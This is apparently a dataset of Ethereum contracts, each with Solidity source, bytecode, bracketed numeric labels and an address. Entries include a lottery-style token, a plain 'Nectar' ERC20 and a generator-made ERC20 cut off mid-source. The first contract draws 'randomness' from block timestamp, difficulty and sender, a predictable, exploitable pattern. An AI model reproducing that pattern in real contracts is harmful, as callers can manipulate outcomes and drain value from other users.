burnAmount = _getRandomBurnedAmount(amount); if (burnAmount != 0) { _burn(sender, burnAmount); amount = amount.sub(burnAmount); } } return amount; } // Play, and if winning multiply by 10 // if you lose and the sender address is not the liquidity pool // then the amount doesn't change function _sendReward(uint256 amount, address sender, address recipient) private { if (sender == liquidityPool && _play()) { _mint(recipient, amount.mul(10)); } } // Return the random amount to burn based on // the amount we want to transfer. Between 1% and 10%. function _getRandomBurnedAmount(uint256 amount) private returns (uint256) { uint256 burnrate = _randModulus(uint(90), seed2); return amount.div(burnrate.add(10)); } // Play the game : // 1% chance of winning and returning true. function _play() public returns (bool) { uint val1 = _randModulus(uint(100), seed1); uint val2 = _randModulus(uint(100), seed2); return val1 == val2; } function _randModulus(uint mod, uint seed) private returns (uint) { require(mod > 0, 'Modulus must be greater than 0'); uint rand = uint(keccak256(abi.encodePacked( nonce, seed, now, block.difficulty, msg.sender) )) % mod; nonce++; return rand; } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb146104bb578063dd62ed3e1461051f578063e4a27ba014610597578063f2fde38b146105b7578063f399c7e6146105fb5761010b565b8063715018a6146103965780638da5cb5b146103a057806395d89b41146103d4578063a457c2d7146104575761010b565b806323b872dd116100de57806323b872dd14610235578063313ce567146102b957806339509351146102da57806370a082311461033e5761010b565b806306fdde0314610110578063095ea7b31461019357806318160ddd146101f7578063197b29c814610215575b600080fd5b610118610649565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015857808201518184015260208101905061013d565b50505050905090810190601f1680156101855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101df600480360360408110156101a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106eb565b60405180821515815260200191505060405180910390f35b6101ff610709565b6040518082815260200191505060405180910390f35b61021d610713565b60405180821515815260200191505060405180910390f35b6102a16004803603606081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061072a565b60405180821515815260200191505060405180910390f35b6102c161074a565b604051808260ff16815260200191505060405180910390f35b610326600480360360408110156102f057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610761565b60405180821515815260200191505060405180910390f35b6103806004803603602081101561035457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610814565b6040518082815260200191505060405180910390f35b61039e61085c565b005b6103a86109e7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103dc610a11565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561041c578082015181840152602081019050610401565b50505050905090810190601f1680156104495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104a36004803603604081101561046d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ab3565b60405180821515815260200191505060405180910390f35b610507600480360360408110156104d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b80565b60405180821515815260200191505060405180910390f35b6105816004803603604081101561053557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b9e565b6040518082815260200191505060405180910390f35b61059f610c25565b60405180821515815260200191505060405180910390f35b6105f9600480360360208110156105cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c52565b005b6106476004803603604081101561061157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e62565b005b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106e15780601f106106b6576101008083540402835291602001916106e1565b820191906000526020600020905b8154815290600101906020018083116106c457829003601f168201915b5050505050905090565b60006106ff6106f86111cd565b84846111d5565b6001905092915050565b6000600254905090565b6000600560159054906101000a900460ff16905090565b6000610741848461073c8688876113cc565b61142f565b90509392505050565b6000600560009054906101000a900460ff16905090565b600061080a61076e6111cd565b84610805856001600061077f6111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461114590919063ffffffff16565b6111d5565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108646111cd565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa95780601f10610a7e57610100808354040283529160200191610aa9565b820191906000526020600020905b815481529060010190602001808311610a8c57829003601f168201915b5050505050905090565b6000610b76610ac06111cd565b84610b71856040518060600160405280602581526020016120ed6025913960016000610aea6111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115089092919063ffffffff16565b6111d5565b6001905092915050565b6000610b9683610b918533866113cc565b6115c8565b905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080610c3560646008546115e6565b90506000610c4660646009546115e6565b90508082149250505090565b610c5a6111cd565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610da2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611fa56026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610e6a6111cd565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f2c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600560159054906101000a900460ff16151514610fb5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f5468652067616d652068617320616c726561647920737461727465640000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561103b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602781526020018061207d6027913960400191505060405180910390fd5b6064600a8190555081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060088190555061109a629896806008546115e6565b6009819055506001600560156101000a81548160ff0219169083151502179055505050565b6000808314156110d2576000905061113f565b60008284029050828482816110e357fe5b041461113a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806120136021913960400191505060405180910390fd5b809150505b92915050565b6000808284019050838110156111c3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561125b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806120c96024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112e1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611fcb6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600560159054906101000a900460ff1615611425576113ee8284866116eb565b60006113f983611774565b9050600081146114235761140d84826117b4565b611420818461197890919063ffffffff16565b92505b505b8190509392505050565b600061143c8484846119c2565b6114fd846114486111cd565b6114f88560405180606001604052806028815260200161203460289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006114ae6111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115089092919063ffffffff16565b6111d5565b600190509392505050565b60008383111582906115b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561157a57808201518184015260208101905061155f565b50505050905090810190601f1680156115a75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60006115dc6115d56111cd565b84846119c2565b6001905092915050565b600080831161165d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4d6f64756c7573206d7573742062652067726561746572207468616e2030000081525060200191505060405180910390fd5b60008360075484424433604051602001808681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401955050505050506040516020818303038152906040528051906020012060001c816116cc57fe5b0690506007600081548092919060010191905055508091505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561174c575061174b610c25565b5b1561176f5761176e81611769600a866110bf90919063ffffffff16565b611c83565b5b505050565b600080611784605a6009546115e6565b90506117ac61179d600a8361114590919063ffffffff16565b84611e4a90919063ffffffff16565b915050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561183a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061205c6021913960400191505060405180910390fd5b61184682600083611e94565b6118b181604051806060016040528060228152602001611f83602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115089092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119088160025461197890919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60006119ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611508565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a48576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806120a46025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ace576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611f606023913960400191505060405180910390fd5b611ad9838383611e94565b611b4481604051806060016040528060268152602001611fed602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115089092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bd7816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461114590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d26576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611d3260008383611e94565b611d478160025461114590919063ffffffff16565b600281905550611d9e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461114590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000611e8c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e99565b905092915050565b505050565b60008083118290611f45576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611f0a578082015181840152602081019050611eef565b50505050905090810190601f168015611f375780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611f5157fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f20616464726573734e65656420746865204554482d583230206c697175696469747920706f6f6c206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122017c95c090814e757dec52392c4a0913e688c44c15fe76f9c6594c9270141a29864736f6c634300060c0033
[ 10, 9 ]
0xF26db49A804917A7C322EdAD1Ae9D88d52E19576
pragma solidity >=0.6.0 <0.8.0; import "./ERC20.sol"; import "./ERC20Burnable.sol"; contract Nectar is ERC20 , ERC20Burnable{ constructor () public ERC20("Nectar", "NTA") { _mint(_msgSender(), 82800000000 * (10 ** uint256(decimals()))); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c57806395d89b411161006657806395d89b41146103b6578063a457c2d714610439578063a9059cbb1461049d578063dd62ed3e14610501576100cf565b806342966c68146102e257806370a082311461031057806379cc679014610368576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bb57806323b872dd146101d9578063313ce5671461025d578063395093511461027e575b600080fd5b6100dc610579565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061b565b60405180821515815260200191505060405180910390f35b6101c3610639565b6040518082815260200191505060405180910390f35b610245600480360360608110156101ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610643565b60405180821515815260200191505060405180910390f35b61026561071c565b604051808260ff16815260200191505060405180910390f35b6102ca6004803603604081101561029457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610733565b60405180821515815260200191505060405180910390f35b61030e600480360360208110156102f857600080fd5b81019080803590602001909291905050506107e6565b005b6103526004803603602081101561032657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107fa565b6040518082815260200191505060405180910390f35b6103b46004803603604081101561037e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610842565b005b6103be6108a4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103fe5780820151818401526020810190506103e3565b50505050905090810190601f16801561042b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104856004803603604081101561044f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610946565b60405180821515815260200191505060405180910390f35b6104e9600480360360408110156104b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a13565b60405180821515815260200191505060405180910390f35b6105636004803603604081101561051757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a31565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106115780601f106105e657610100808354040283529160200191610611565b820191906000526020600020905b8154815290600101906020018083116105f457829003601f168201915b5050505050905090565b600061062f610628610b40565b8484610b48565b6001905092915050565b6000600254905090565b6000610650848484610d3f565b6107118461065c610b40565b61070c8560405180606001604052806028815260200161139460289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106c2610b40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110009092919063ffffffff16565b610b48565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60006107dc610740610b40565b846107d78560016000610751610b40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ab890919063ffffffff16565b610b48565b6001905092915050565b6107f76107f1610b40565b826110ba565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610881826040518060600160405280602481526020016113bc602491396108728661086d610b40565b610a31565b6110009092919063ffffffff16565b90506108958361088f610b40565b83610b48565b61089f83836110ba565b505050565b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561093c5780601f106109115761010080835404028352916020019161093c565b820191906000526020600020905b81548152906001019060200180831161091f57829003601f168201915b5050505050905090565b6000610a09610953610b40565b84610a048560405180606001604052806025815260200161144a602591396001600061097d610b40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110009092919063ffffffff16565b610b48565b6001905092915050565b6000610a27610a20610b40565b8484610d3f565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015610b36576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806114266024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c54576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061134c6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dc5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806114016025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e4b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806113076023913960400191505060405180910390fd5b610e5683838361127e565b610ec18160405180606001604052806026815260200161136e602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110009092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f54816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ab890919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906110ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611072578082015181840152602081019050611057565b50505050905090810190601f16801561109f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611140576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806113e06021913960400191505060405180910390fd5b61114c8260008361127e565b6111b78160405180606001604052806022815260200161132a602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110009092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120e8160025461128390919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b505050565b6000828211156112fb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b81830390509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206e30d7032c5ce1f68d796ecba4b0c287a5748771f2119bdd3be840d66da5964d64736f6c63430007060033
[ 38 ]
0xf26E077958809320d67814800CD8dC22565Bb66A
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { 